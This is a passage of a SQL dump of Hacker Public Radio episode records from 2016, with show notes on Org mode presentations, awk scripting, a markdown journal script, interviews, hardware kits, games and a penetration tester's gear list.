editing there\'s one major mode, and any number of minor modes. So if I was editing a Python file for example, I would have the Python major mode which understands Python and can thus do Python specific things like Python code completion, and I would have a spell checker minor mode to check the spelling of comments, and another minor mode to automatically line wrap comment lines that are very long, and another minor mode to show what line number I\'m currently editing, and another minor mode to blink the cursor and so on.</p>\r\n<p>The other topic that I haven\'t heard too much on is LaTeX. LaTex is the venerable typesetting solution for Unix based systems. LaTeX documents have a single document class, and then any number of packages. In the case of my presentation, the document class is Beamer, which sets up all the margins and fonts to be good for presentations. Some of the packages I\'m using are the symbols package, for arrows and maths symbols, and several graphics packages so I can draw trees in my slides.</p>\r\n<p>I\'m fairly comfortable with LaTeX, I could certainly write this presentation directly in LaTeX, but I think there are some advantages in using Org mode to generate my LaTeX instead.</p>\r\n<p>As the name suggests, Org mode is designed to be an organisational mode, helping you write TODO lists and organise documents. While the document is just a plain text document that you can read and write with any text editor, the Emacs Org mode understands its own mark up and provides an outlining mode, where you can hide and expand trees of bullet points. The basic layout of a set of slides for a presentation is a tree of bullet points, where the top level bullet points are slides, and the second level of bullet points are lists of information put into each slide.</p>\r\n<p>Another mark up that Org mode understands is that of code blocks, so that we can easily say ``this chunk of code is a Python block\'\'. Org mode understands how to export this Python code block as a separate file, run it under Python, and can even insert the output of the program, or the result of a function, back into the original document as a code output block.</p>\r\n<p>The advantage of having just one file for my presentation, versus one file for my presentation and a separate file for each code block, is that the code examples in my presentation never get out of sync with the code that I\'m actually running. This style of programming where the documentation is the primary document, and the code files are generated, secondary documents, is the inverse of the typical way of programming where the code documents are the primary documents, and documentation, the secondary documents, are automatically generated.</p>\r\n<p>This style of programming, where the primary document is documentation is called literate programming. The process of creating the documentation (the PDF in my case) is called weaving. The process of creating the code files is called tangling.</p>\r\n<p>I really like having just one file to generate one PDF presentation file, so I\'m going to keep using this technique in the future.</p>\r\n<p>Now, I have to admit that my presentation is not completely literate, there are some bits of output in my presentation that are copied and pasted, rather than automatically gathered, so I\'ve still got some work to do.</p>\r\n<p>Down to brass tacks. The conventional file name extension for Org mode files is dot org. The typical metadata you put in presentations are Author, Email, and Title. In mine I\'ve also added Subtitle and Institute. Now, the interesting one here is Institute, for whatever reason, it\'s not a piece of metadata that Org mode knows about, but it\'s really easy to drop down into LaTeX and just use the LaTeX institute command directly.</p>\r\n<p>There\'s a metadata line that Org understands called Options, I request that my presentation has a table of contents, and that all the bullet points of level two become line items in that table of contents. Then I\'m straight into the slides. Bullet points at the first level are converted to sections, bullet points at the second level are turned into slides, and anything deeper than that are turned into contents of that slide. I have many code blocks, and I use options that specify what file this code block is tangled to, and to leave the white space alone when the code block is exported, as white space is critical to Python. I also turn on an option that gets line numbers printed for the code blocks. In a couple of places where I want to highlight certain areas of the code, I add labels to the code, then outside the code block I can refer to the label, and LaTeX will replace this with the line number. I think I\'d prefer to do this referencing with highlighting, or an arrow or something, but I\'m not sure I can do that.</p>\r\n<p>Engineering is the process of dealing with tradeoffs to get something done, there are many trade offs when writing code to solve a problem, writing code for slides has quite a different set of tradeoffs, you want code to be easy to read, in terms of using long variable names, but you also need code blocks to contain as few lines as possible, so that you can use a large font size on the projector, and you also don\'t want to have to split an example across multiple slides if you can help it. I\'m also of the view that syntax highlighting is a waste of time, it\'s just a pretty layer of obfuscation that the mind has to understand, then drop in order to actually see the code. This stance of mine was vindicated when several presenters with syntax highlighted code realised on the day that the projected code was impossible to read due to the low contrast projectors used in a reasonably well lit room.</p>\r\n<p>One feature that I would like to add is the ability to reveal new code. It\'s quite common to have a code block, reveal a problem with it, and display the same code block again, but with a minor change that fixes the previously explained problem. Ideally the old code and new code would be rendered differently, but I don\'t think that\'s an option right now. The other thing that I couldn\'t work out was how to run custom programs on my code blocks, I was wanting to run the Python unit test program, not the Python interpreter, and could not find a way to do that.</p>\r\n<p>There\'s a single command to run inside Emacs to create the output PDF, <code>M-x org-beamer-export-as-pdf</code>.</p>\r\n<p>So, overall, I\'m very happy with this pipeline. It lets me have a primary document with code snippets, and it lets me have LaTeX snippets wherever I like. It\'s not perfect, but I\'m hoping to find ways to improve it.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://orgmode.org/\" class=\"uri\">https://orgmode.org/</a></li>\r\n<li><a href=\"https://github.com/josephwright/beamer\" class=\"uri\">https://github.com/josephwright/beamer</a></li>\r\n</ul>\r\n',315,0,1,'CC-BY-SA','emacs, org mode, LaTeX, Beamer',0,0,1),
(2142,'2016-10-18','Book Reviews',937,'I take a brief look at two books others may find of interest.','<p>It\'s been a while since I submitted a show due to time constraints. I was actually feeling pretty bad when I recorded the show, so my voice may not be as loud as usual.</p>\r\n<p>The first book I talk about is &quot;Hacker Culture&quot; by Douglas Thomas</p>\r\n<p><a href=\"https://www.amazon.com/Hacker-Culture-Douglas-Thomas/dp/0816633460/ref=sr_1_1?ie=UTF8&amp;qid=1474232379&amp;sr=8-1&amp;keywords=hacker+culture\" class=\"uri\">https://www.amazon.com/Hacker-Culture-Douglas-Thomas/dp/0816633460/ref=sr_1_1?ie=UTF8&amp;qid=1474232379&amp;sr=8-1&amp;keywords=hacker+culture</a></p>\r\n<p>The second book is &quot;A History of Modern Computing&quot; by Paul E. Ceruzzi</p>\r\n<p><a href=\"https://www.amazon.com/History-Modern-Computing-ebook/dp/0262032554/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1474232397&amp;sr=1-1&amp;keywords=history+of+modern+computing\" class=\"uri\">https://www.amazon.com/History-Modern-Computing-ebook/dp/0262032554/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1474232397&amp;sr=1-1&amp;keywords=history+of+modern+computing</a></p>\r\n',325,0,1,'CC-BY-SA','Books, Book Reviews, Hacker Culture, History',0,0,1),
(2143,'2016-10-19','Gnu Awk - Part 3',1864,'In this episode, I go into more advanced topics for the awk tool.','<h1 id=\"awk-part-3\">Awk Part 3</h1>\r\n<p>Remember our file:</p>\r\n<pre><code>name       color  amount\r\napple      red    4\r\nbanana     yellow 6\r\nstrawberry red    3\r\ngrape      purple 10\r\napple      green  8\r\nplum       purple 2\r\nkiwi       brown  4\r\npotato     brown  9\r\npineapple  yellow 5</code></pre>\r\n<h2 id=\"replace-grep\">Replace Grep</h2>\r\n<p>As we saw in earlier episodes, we can use awk to filter for rows that match a pattern or text. If you know the grep command, you know that it does the same function, but has extended capabilities. For simple filter, you don\'t need to pipe grep outputs to awk. You can just filter in awk.</p>\r\n<h2 id=\"logical-operators\">Logical Operators</h2>\r\n<p>You can use logical operators &quot;and&quot; and &quot;or&quot; represented as &quot;&amp;&amp;&quot; and &quot;||&quot;, respectively. See example:</p>\r\n<pre><code>$2 == &quot;purple&quot; &amp;&amp; $3 &lt; 5 {print $1}</code></pre>\r\n<p>Here, we are selecting for color to to equal &quot;purple&quot; AND amount less than 5.</p>\r\n<h2 id=\"next-command\">Next command</h2>\r\n<p>Say we want to flag every record in our file where the amount is greater than or equal to 8 with a \'**\'. Every record between 5 (inclusive) and 8, we want to flag with a \'*\'. We can use consecutive filter commands, but there affects will be additive. To remedy this, we can use the &quot;next&quot; command. This tells awk that after the action is taken, proceed to the next record. See the following example:</p>\r\n<pre><code>NR == 1 {\r\n  print $0;\r\n  next;\r\n}\r\n\r\n$3 &gt;= 8 {\r\n  printf &quot;%s\\t%s\\n&quot;, $0, &quot;**&quot;;\r\n  next;\r\n}\r\n\r\n$3 &gt;= 5 {\r\n  printf &quot;%s\\t%s\\n&quot;, $0, &quot;*&quot;;\r\n  next;\r\n}\r\n\r\n$3 &lt; 5 {\r\n  print $0;\r\n}</code></pre>\r\n<h2 id=\"end-command\">End Command</h2>\r\n<p>The &quot;BEGIN&quot; and &quot;END&quot; commands allow you to do actions before and after awk does its actions. For instance, sometimes we want to evaluate all records, then print the cumulative results. In this example, we pipe the output of the df command into awk. Our command is:</p>\r\n<pre><code>df -l | awk -f end.awk</code></pre>\r\n<p>Our awk file looks like this:</p>\r\n<pre><code>$1 != &quot;tmpfs&quot; {\r\n    used += $3;\r\n    available += $4;\r\n}\r\n\r\nEND {\r\n    printf &quot;%d GiB used\\n%d GiB available\\n&quot;, used/2^20, available/2^20;\r\n}</code></pre>\r\n<p>Here, we are setting two variables, &quot;used&quot; and &quot;available&quot;. We add the records in the respective columns all together, then we print the totals.</p>\r\n<p>In the next example, we create a distinct list of colors from our file:</p>\r\n<pre><code>NR != 1 {\r\n    a[$2]++\r\n}\r\nEND {\r\n    for (b in a) {\r\n        print b\r\n    }\r\n}</code></pre>\r\n<p>This is a more advanced script. The details of which, we will get into in future episodes.</p>\r\n<h2 id=\"begin-command\">BEGIN command</h2>\r\n<p>Like stated above, the begin command lets us print and set variables before the awk command starts. For instance, we can set the input and output field separators inside our awk file as follows:</p>\r\n<pre><code>BEGIN {\r\n    FS=&quot;,&quot;;\r\n    OFS=&quot;,&quot;;\r\n    print &quot;color,count&quot;;\r\n}\r\nNR != 1 {\r\n    a[$2]+=1;\r\n}\r\nEND {\r\n    for (b in a) {\r\n        print b, a[b]\r\n    }\r\n}</code></pre>\r\n<p>In this example, we are finding the distinct count of colors in our csv file, and format the output in csv format as well. We will get into the details of how this script works in future episodes.</p>\r\n<p>For another example, instead of distinct count, we can get the sum of the amount column grouped by color:</p>\r\n<pre><code>BEGIN {\r\n    FS=&quot;,&quot;;\r\n    OFS=&quot;,&quot;;\r\n    print &quot;color,sum&quot;;\r\n}\r\nNR != 1 {\r\n    a[$2]+=$3;\r\n}\r\nEND {\r\n    for (b in a) {\r\n        print b, a[b]\r\n    }\r\n}</code></pre>\r\n',300,94,0,'CC-BY-SA','awk,bash,linux',0,0,1),
(2150,'2016-10-28','Apollo Guidance Computer',4381,'Francois Rautenbach tell us how he is hacking 50 year old computers','<p>\r\nIn this episode Ken chats with Francois Rautenbach who extracted the software from the Rope Memory modules of the long lost Apollo Guidance Computer used in Flight AS-202.\r\n</p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2150.jpg\" alt=\"the layout of the reader\" />\r\n<h3>Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UC1KeUTUd-fDv553C3UNr7xQ\">https://www.youtube.com/channel/UC1KeUTUd-fDv553C3UNr7xQ</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Apollo_Guidance_Computer\">https://en.wikipedia.org/wiki/Apollo_Guidance_Computer</a>\r\n</li>\r\n<li><a href=\"https://lists.ibiblio.org/mailman/listinfo/apollo\">https://lists.ibiblio.org/mailman/listinfo/apollo</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/UGM-27_Polaris\">https://en.wikipedia.org/wiki/UGM-27_Polaris</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.dollartimes.com/inflation/inflation.php?amount=1000&year=1960\">https://www.dollartimes.com/inflation/inflation.php?amount=1000&amp;year=1960</a>\r\n</li>\r\n<li><a href=\"https://www.springer.com/us/book/9781441908766\">https://www.springer.com/us/book/9781441908766</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/AS-202\">https://en.wikipedia.org/wiki/AS-202</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Apollo_4\">https://en.wikipedia.org/wiki/Apollo_4</a>\r\n</li>\r\n<li><a href=\"https://upload.wikimedia.org/wikipedia/commons/1/13/Agc_flatp.jpg\">https://upload.wikimedia.org/wikipedia/commons/1/13/Agc_flatp.jpg</a>\r\n</li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','Apollo, Space, Rope memory',0,0,1),
(2145,'2016-10-21','Daily notes and todo list with markdown',1490,'How I use markdown and git to keep up with what I do','<h4 id=\"using-markdown-and-git-to-store-your-todo-list-and-daily-journal\">Using Markdown and git to store your todo list and daily journal</h4>\r\n<h5 id=\"why-markdown\">Why markdown</h5>\r\n<ul>\r\n<li>No distractions</li>\r\n<li>Simple syntax</li>\r\n<li>Plain text, Human readable.</li>\r\n<li>Inline HTML</li>\r\n<li>Easy conversion to other formats</li>\r\n</ul>\r\n<h5 id=\"why-git\">Why git</h5>\r\n<ul>\r\n<li>Any SCM probably OK</li>\r\n<li>Github and Gitlab render markdown.</li>\r\n</ul>\r\n<h5 id=\"the-todo-page\">The todo page</h5>\r\n<pre><code>    # TODO\r\n\r\n    ### Can do now\r\n    * Bullet 1\r\n    * Bullet 2\r\n\r\n    ### Near term\r\n    1. Numbered 1\r\n    1. Numbered 2\r\n\r\n    ### Long term</code></pre>\r\n<h5 id=\"the-journal-script\">The journal script</h5>\r\n<pre><code>    DAILYFILE=&quot;/Users/norrist/Projects/todo/daily/$(/bin/date +%F).md&quot;\r\n    DAILYPATH=&quot;/Users/norrist/Projects/todo/daily/&quot;\r\n    LOCKFILE=&quot;/Users/norrist/Projects/todo/daily/LOCK&quot;\r\n    TODOFILE=&quot;/Users/norrist/Projects/todo/todo.md&quot;\r\n\r\n    if [ -f $LOCKFILE ]\r\n        then\r\n            echo &quot;$LOCKFILE PRESENT - ABORTING&quot;\r\n            read -n1 -p &quot;Remove and Continue? [y,n]&quot; doit\r\n                case $doit in\r\n                    y|Y) echo &quot;Continuing with $LOCKFILE PRESENT&quot; ;;\r\n                    *) exit 1 ;;\r\n                esac\r\n\r\n\r\n        else\r\n            echo &quot;NO LOKCFILE&quot;\r\n            touch $LOCKFILE\r\n\r\n    fi\r\n\r\n\r\n    if [ -f $DAILYFILE ]\r\n        then\r\n            echo &quot;$DAILYFILE exists&quot;\r\n        else\r\n            echo  &gt;&gt; $DAILYFILE\r\n            echo  &quot;-----&quot;&gt;&gt; $DAILYFILE\r\n            echo &quot;# $(/bin/date +%F)&quot; &gt;&gt; $DAILYFILE\r\n            echo  &gt;&gt; $DAILYFILE\r\n            echo &quot;### Projects&quot; &gt;&gt; $DAILYFILE\r\n            echo  &gt;&gt; $DAILYFILE\r\n            echo &quot;### Tickets&quot; &gt;&gt; $DAILYFILE\r\n            echo  &gt;&gt; $DAILYFILE\r\n            echo &quot;### Walkups&quot; &gt;&gt; $DAILYFILE\r\n    fi\r\n\r\n    /usr/local/bin/edit -w --new-window $DAILYFILE\r\n    /opt/local/bin/aspell -c $DAILYFILE\r\n    /opt/local/bin/aspell -c $TODOFILE\r\n\r\n    rm $LOCKFILE\r\n    rm $DAILYPATH/README.md\r\n\r\n    cat $TODOFILE &gt;&gt; $DAILYPATH/README.md\r\n\r\n    for f in $(ls  -r $DAILYPATH/2*md)\r\n     do cat $f &gt;&gt; $DAILYPATH/README.md\r\n     echo &gt;&gt;$DAILYPATH/README.md\r\n     done\r\n\r\n    cd /Users/norrist/Projects/todo; /usr/bin/git add . &amp;&amp; /usr/bin/git commit -m &quot;$(date)&quot; &amp;&amp; /usr/bin/git push origin master</code></pre>\r\n<h4 id=\"daily-file-template\">Daily file template</h4>\r\n<pre><code>    # 2016-08-02\r\n\r\n    -----\r\n\r\n    ### Projects\r\n\r\n    ### Tickets\r\n\r\n    ### Walkups</code></pre>\r\n<h5 id=\"aspell-is-awesome\">aspell is awesome</h5>\r\n',342,0,0,'CC-BY-SA','Markdown,git,Bash',0,0,1),
(2144,'2016-10-20','An Interview with All About Code at Manchester BarCamp',479,'This is a follow up interview with Josh as he has been busy since I last interviewed him ','<p>This is a follow up interview with Joshua Lowe as he has been very busy developing further python tools for the Raspberry Pi</p>\r\n<p><a href=\"https://www.allaboutcode.co.uk/\" class=\"uri\">https://www.allaboutcode.co.uk/</a></p>\r\n<p>The interview took place at BarCamp Manchester <a href=\"https://www.barcampmanchester.co.uk/\" class=\"uri\">https://www.barcampmanchester.co.uk/</a> on the 24th September 2016 after he had done a talk about EduBlocks his new project for programming in Python and part of his Edupython project.</p>\r\n<p><a href=\"https://www.edupython.co.uk/\" class=\"uri\">https://www.edupython.co.uk/</a></p>\r\n<p>Josh will be at <a href=\"https://mozillafestival.org/\" class=\"uri\">https://mozillafestival.org/</a> at the end of October and will be presenting his project again.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.allaboutcode.co.uk/\" class=\"uri\">https://www.allaboutcode.co.uk/</a></li>\r\n<li><a href=\"https://www.barcampmanchester.co.uk/\" class=\"uri\">https://www.barcampmanchester.co.uk/</a></li>\r\n<li><a href=\"https://www.edupython.co.uk/\" class=\"uri\">https://www.edupython.co.uk/</a></li>\r\n<li><a href=\"https://mozillafestival.org/\" class=\"uri\">https://mozillafestival.org/</a></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','BarCamp Manchester,Python,EduPython,EduBlocks,Raspberry Pi',0,0,1),
(2151,'2016-10-31','BarCamp Manchester part 2',541,'An interview with the Organiser and one of the sponsors of the Event','<p>\r\nAn Interview with Claire Dodd, the organiser of BarCamp Manchester\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.barcampmanchester.co.uk/\">https://www.barcampmanchester.co.uk/</a></li>\r\n</ul>\r\n\r\n<p>\r\nAn Interview with Damion of Layershift Hosting, one of the sponsors of BarCamp Manchester\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.layershift.com/\">https://www.layershift.com/</a></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','BarCamp Manchester',0,0,1),
(2157,'2016-11-08','BarCamp Manchester part 3',504,'This is an interview with Alan O\'Donohoe which I did at BarCamp Manchester.','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>This is an interview with Alan O\'Donohoe which I did at BarCamp Manchester. The links to his Twitter page and the Exa Foundation are as follows:</p>\r\n<ul>\r\n<li>Twitter: <span class=\"citation\" data-cites=\"teknoteacher\">@teknoteacher</span></li>\r\n<li>Exa Foundation: <a href=\"https://exa.foundation/\" class=\"uri\">https://exa.foundation/</a></li>\r\n</ul>\r\n',338,78,0,'CC-BY-SA','BarCamp Manchester',0,0,1),
(2170,'2016-11-25','soundtrap.io',1998,'A low-cost open-source acoustic logger for biodiversity and environmental monitoring.','<p>\r\nBack in <a href=\"https://hackerpublicradio.org/eps.php?id=1894\" target=\"_blank\">hpr1894 :: Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project</a>, the topic of an open-source acoustic logger came up. Today Ken tracks down Prof. Alex Rogers  from the Department of Computer Science at University of Oxford, to talk about the project.\r\n</p>\r\n<p>\r\nThe prototype device is based on the Silicon Labs Gecko processor range and provides a low-cost acoustic logger which can record uncompressed audio to an SD card at 48,000 samples per second. Onboard acoustic recognition algorithms allow the device to decide when and what to record, and allow the computation and storage of acoustic features and complexity indices, rather than raw waveforms.\r\n</p>\r\n<ul>\r\n  <li>EFM32 Gecko processor</li>\r\n  <li>WAV recordings to SD card</li>\r\n  <li>48,000 samples per second</li>\r\n  <li>Powered by 3 x AAA batteries</li>\r\n  <li>Analog MEMS microphone</li>\r\n  <li>Measures just 50 x 38 x 12 mm</li>\r\n  <li>Configurable USB interface</li>\r\n  <li>Onboard real time clock</li>\r\n</ul>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2170.jpg\" width=\"100%\" alt=\"acoustic logger\" style =\"padding-top: 20px;\"/>\r\n\r\n<p>\r\n<a href=\"https://soundtrap.io/\" target=\"_blank\">https://soundtrap.io/</a>\r\n</p>',30,78,0,'CC-BY-SA','open source,open hardware,acoustic logger',0,0,1),
(2148,'2016-10-26','The DSO138 Oscilloscope Kit Part 2',791,'In this episode NYbill talks about finishing the DSO138 Oscilloscope kit.','<p>\r\nIn this episode NYbill talks about finishing the DSO138 Oscilloscope kit.\r\n</p>\r\n<p>\r\nThe DSO138 Oscilloscope Kit (part 1)\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2029\">https://hackerpublicradio.org/eps.php?id=2029</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\n3D printable case:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.thingiverse.com/thing:779159\">https://www.thingiverse.com/thing:779159</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe kit with pre-soldered SMD parts:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/j7sr9zy\">https://tinyurl.com/j7sr9zy</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nWithout pre-soldered parts:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/hxp3bz3\">https://tinyurl.com/hxp3bz3</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe forums:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://tinyurl.com/htq3tne\">https://tinyurl.com/htq3tne</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nPics for the episode:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/the-dso138-oscilloscope-kit-part-2/\">https://media.gunmonkeynet.net/u/nybill/collection/the-dso138-oscilloscope-kit-part-2/</a>\r\n</li>\r\n</ul>',235,103,0,'CC-BY-SA','electronics,oscilloscope,kit,3D printing',0,0,1),
(2147,'2016-10-25','Glass cutting bottles',857,'You may have seen vases made from bottles and wondered how they cut the glass.','<p><a href=\"https://www.amazon.com/Diamond-Tech-Crafts-Bottle-Cutter/dp/B004ZRV3AU/ref=sr_1_8?ie=UTF8&amp;qid=147568599%204&amp;sr=8-8&amp;keywords=Glass+++Bottle+Cutters+++++Tool\">https://www.amazon.com/Diamond-Tech-Crafts-Bottle-Cutter/dp/B004ZRV3AU/ref=sr_1_8?ie=UTF8&amp;qid=147568599%204&amp;sr=8-8&amp;keywords=Glass+++Bottle+Cutters+++++Tool</a></p>\r\n',36,0,1,'CC-BY-SA','glass,glass cutting,bottle cutting',0,0,1),
(2149,'2016-10-27','What is in my Pentesting Bag?',1042,'I go over some of the items I use for my technical testing','<ul>\r\n<li><p>LAPTOP STAND:<br />\r\nMAGMA MGA75551 Laptop Stand Riser Flat-Tolding Lightweight DJ Stand</p></li>\r\n<li>Massage Pillow:\r\n<ul>\r\n<li>Zyllion</li>\r\n<li>ZMA-13-BK Shiatsu Massage Pillow with Heat</li>\r\n</ul></li>\r\n<li><p>Monster MP OTG400 BK Outlets To Go Power Strip - 4 AC Outlets - Black<br />\r\n<a href=\"https://www.amazon.com/product-reviews/B000F9YN2M\" class=\"uri\">https://www.amazon.com/product-reviews/B000F9YN2M</a></p></li>\r\n<li><p>Micro USB Retractable Cable<br />\r\n<a href=\"https://www.amazon.com/Micro-USB-Retractable-Cable-BlackBerry/dp/B007Z419BI/ref=sr_1_1?ie=UTF8&amp;qid=1475686376&amp;sr=8-1&amp;keywords=camcret\" class=\"uri\">https://www.amazon.com/Micro-USB-Retractable-Cable-BlackBerry/dp/B007Z419BI/ref=sr_1_1?ie=UTF8&amp;qid=1475686376&amp;sr=8-1&amp;keywords=camcret</a></p></li>\r\n<li><p>Kenu Airframe+ | Car Mount for Smartphones and Phablets | White<br />\r\n<a href=\"https://www.amazon.com/Kenu-Airframe-Mount-Smartphones-Phablets/dp/B0102OM024/ref=sr_1_8?ie=UTF8&amp;qid=1475686409&amp;sr=8-8&amp;keywords=kenu+car+mount\" class=\"uri\">https://www.amazon.com/Kenu-Airframe-Mount-Smartphones-Phablets/dp/B0102OM024/ref=sr_1_8?ie=UTF8&amp;qid=1475686409&amp;sr=8-8&amp;keywords=kenu+car+mount</a></p></li>\r\n<li><p><a href=\"https://hackaday.com/2014/08/13/diy-custom-molded-earbud-roundup/\" class=\"uri\">https://hackaday.com/2014/08/13/diy-custom-molded-earbud-roundup/</a></p></li>\r\n<li><p>Boxcave 78 Key Wired USB Mini Slim Keyboard<br />\r\n<a href=\"https://www.amazon.com/gp/product/B00EDI0WWQ/ref=oh_aui_detailpage_o06_s00?ie=UTF8&amp;psc=1\" class=\"uri\">https://www.amazon.com/gp/product/B00EDI0WWQ/ref=oh_aui_detailpage_o06_s00?ie=UTF8&amp;psc=1</a></p></li>\r\n<li><p>TripWorthy Travel Umbrella<br />\r\n<a href=\"https://www.amazon.com/TripWorthy-Travel-Umbrella-Lightweight-Professionals/dp/B01DYYNF00/ref=sr_1_2?s=pc&amp;ie=UTF8&amp;qid=1475686636&amp;sr=8-2&amp;keywords=kolumb+umbrella\" class=\"uri\">https://www.amazon.com/TripWorthy-Travel-Umbrella-Lightweight-Professionals/dp/B01DYYNF00/ref=sr_1_2?s=pc&amp;ie=UTF8&amp;qid=1475686636&amp;sr=8-2&amp;keywords=kolumb+umbrella</a></p></li>\r\n<li><p>mousejack/jackit<br />\r\n<a href=\"https://github.com/insecurityofthings/jackit\" class=\"uri\">https://github.com/insecurityofthings/jackit</a></p></li>\r\n<li><p>Best 5 in1 Locksmith Brand Best Credit Card Pick Car Lock Tool Lock pick<br />\r\n<a href=\"https://www.wish.com/search/pick#cid=569c8f6bdd248c11f24c2eff\" class=\"uri\">https://www.wish.com/search/pick#cid=569c8f6bdd248c11f24c2eff</a></p></li>\r\n<li><p>MiniPwner or the WiFi Pineapple, the #r00tabaga<br />\r\n<a href=\"https://acehackware.com/collections/hackware/products/ace-r00tabaga-multipwner\" class=\"uri\">https://acehackware.com/collections/hackware/products/ace-r00tabaga-multipwner</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','penetration testing,tools',0,0,1),
(2168,'2016-11-23','Analogue Random Number Generation',2521,'Klaatu ponders analogue random number generation','<p>Klaatu talks about different ways of coming up with random numbers without electronics.\r\n</p>\r\n<p>\r\nDiscussed: dice, flipping through a book, sequential modulo, shifting tables, and <a href=\"https://gitlab.com/notklaatu/pocketdiceroller\" target=\"_blank\">pocketdiceroller</a>.</p>',78,0,0,'CC-BY-SA','game,gaming,tabletop,card,boardgame,random,number,math',0,0,1),
(2178,'2016-12-07','Dice Mixer',1583,'Klaatu reviews the Dice Mixer dice tower','<p>Klaatu reviews the <a href=\"https://dicemixer.com\" target=\"_blank\">Dice Mixer</a>.</p>\r\n\r\n<p>Spoiler&#58; it&#39;s really amazing and a heck of a lot of fun to put together.</p>\r\n\r\n<img src=\"https://i.imgur.com/aKdVfSH.jpg\" style=\"width: 500px;\" alt=\"Assembling the device\" />\r\n\r\n<img src=\"https://i.imgur.com/LXzPfGB.jpg\" style=\"width: 500px;\" alt=\"Dice Mixer built\" />\r\n',78,0,0,'CC-BY-SA','game,gaming,tabletop,card,boardgame,random,number',0,0,1),
(2174,'2016-12-01','Dungeoneer Tabletop Game',2560,'Klaatu reviews the Dungeoneer RPG card game','<p>\r\nKlaatu reviews the RPG card game, <a href=\"https://www.atlas-games.com/dungeoneer/\">Dungeoneer</a>, especially concentrating upon solitaire play.\r\n</p>\r\n<p>\r\nIf you&#39;re keen to play, you&#39;ll want to use Klaatu&#39;s re-write of the official rules, or his re-write and touch-up of the unofficial <a href=\"https://gitlab.com/notklaatu/dungeoneerfix\" target=\"_blank\">solo rules</a>. Neither of these are unique in themselves, but Klaatu humbly believes that they&#39;re a lot easier to comprehend than those online or in the box.</p>',78,95,0,'CC-BY-SA','game,gaming,tabletop,card,rpg',0,0,1),
(2155,'2016-11-04','Ohio LinuxFest 2016',1124,'My experience of Ohio LinuxFest 2016','<p>Ohio LinuxFest is an annual Linux and Open Source conference held in the fall in Columbus, Ohio, USA. This year it happened on October 7-8, and I was not only an attendee, but a speaker. This program is about my experiences there this year.</p>',198,0,0,'CC-BY-SA','Open Source, Linux',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (2154,'2016-11-03','Replacing a Bicycle Brake Cable',1769,'I replace the brake cable and housing on my 1985 Schwinn','<p>Part of my series of fixing stuff and wearing a microphone while I do it, listen along as I replace the brake cable and housing on my bicycle. For information about the tools I\'m using, check out my earlier episode about the tools in <a href=\"https://hackerpublicradio.org/eps.php?id=1804\">my bicycle repair toolbox</a>. Check the Flickr photo album below for pictures to go along with the narrative. Sorry I kept sniffling so much. Allergies were terrible. The church bells in the background are from Our Lady of Fatima Church, which is nearby. I remember Dave wondered about the church bells from a previous episode.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157674993235205\" title=\"Bicycle Brake Cable Replacement \"><img src=\"https://c1.staticflickr.com/9/8551/29926829560_af3c232f6d.jpg\" width=\"500\" height=\"281\" alt=\"Bicycle Brake Cable Replacement \"/></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://hackerpublicradio.org/eps.php?id=1804\">hpr1804 :: What\'s in my Bicycle Repair Tool Box</a>\r\n	</li>\r\n</ul>\r\n',238,115,0,'CC-BY-SA','DIY, bicycles, brakes, repairs, bicycle maintenance, bikes',0,0,1),
(2153,'2016-11-02','Splitting a Block of Bees Wax',1101,'I need to split a block of bees wax','<p>\r\nI need to cut a block of wax...<br />\r\nI use a heat gun, some string, and a knife...<br />\r\nAlso some ramblings about other stuff.<br />\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2153_large.png\" target=\"_blank\"><img src=\"https://hackerpublicradio.org/eps/hpr2153_small.png\" alt=\"photo fo the bees wax block\"  /></a>\r\n</p>\r\n',329,0,1,'CC-BY-SA','heat, cutting, diy',0,0,1),
(2158,'2016-11-09','Art Club',372,'Have fun learning about art with your friends','<p><a href=\"https://www.toledomuseum.org/\" class=\"uri\">https://www.toledomuseum.org/</a></p>\r\n',326,0,0,'CC-BY-SA','art,art club,art museum',0,0,1),
